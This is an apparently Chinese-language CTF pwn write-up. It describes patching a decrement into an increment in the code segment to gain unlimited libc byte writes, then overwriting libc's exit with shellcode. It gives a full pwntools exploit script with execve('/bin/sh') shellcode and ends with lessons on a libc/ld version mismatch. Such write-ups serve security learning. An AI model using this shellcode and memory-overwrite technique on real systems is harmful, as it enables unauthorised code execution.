主要是exp的写法
先checksec一下：
啥都开了
然后pwndbg里面运行一下，发现给了两个地址范围，动调一下发现第一个范围是代码段的内存地址，第二个范围是libc加载的内存地址（我本地左端点是libc_base+0x28000）
拖到ida里面整理一下：
相当于是给了两次机会，第一次机会可以修改一个代码段里面的一个字节，第二次机会可以修改加载到内存中的libc一个字节
仅凭这两次操作我们没办法直接getshell，我们考虑能不能创造出更多修改的机会，注意到终止条件的写法：
每次chance--，当chance为0时终止，如果我们第一次修改代码段，将--改为++，后面chance会恒大于1，那么我们就可以不限次数地任意修改libc段了
具体地，我们将8D 50 FF改为8D 50 01即可
然后我们考虑把exit函数的内容覆写为shellcode，因为最后退出的时候一定会调用exit函数：
在ida中可以看exit函数的偏移和内容：
我们从exit起始地址+4的位置开始覆写就好。
下面是exp的实现
from pwn import *
p = process('./pwn')
libc = ELF('./libc.so.6')
def write_mem(addr,data):val = dataif isinstance(data,bytes):val = u8(data)p.sendlineafter(b'\x89\xef\xbc\x81',hex(addr)+' '+hex(val))
def write_code(addr,data):for i in range(len(data)):write_mem(addr+i,data[i])
def Exploit():p.recvuntil(b'** ')code_base = int(p.recvuntil(b' -',drop=1),16)p.recvuntil(b'## ')libc_base = int(p.recvuntil(b' -',drop=1),16)p.sendline(b'Regules')write_mem(code_base+0x1877,0x1)print(hex(libc_base))shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"write_code(libc_base-0x28000+libc.sym.exit+4,shellcode)print(hex(libc_base+libc.sym.exit+4))gdb.attach(p)p.interactive()p.recvuntil(b'\x89\xef\xbc\x81')p.sendline(b'bye!')p.interactive()
if __name__ == '__main__':Exploit()
上面是过本地的exp，远程没过。
对比一下发现是libc_base的区别，远程的libc_base就是程序给的那个左端点，问了问deepseek，推测大概率是ld文件版本和远程不太一样导致的，我选.ld文件版本要比.so文件的版本稍微高一点，这可能造成了加载libc到内存中的差异。所以以后ld文件最好还是找完全一样的版本比较好。
因为上面这个问题卡了挺久，实际上如果你远程手玩一遍，本地手玩一遍，很容易发现两者存在差异，所以以后遇到涉及获取内存信息的题目，本地和远程都拿出来看看对比对比，是比较稳妥的。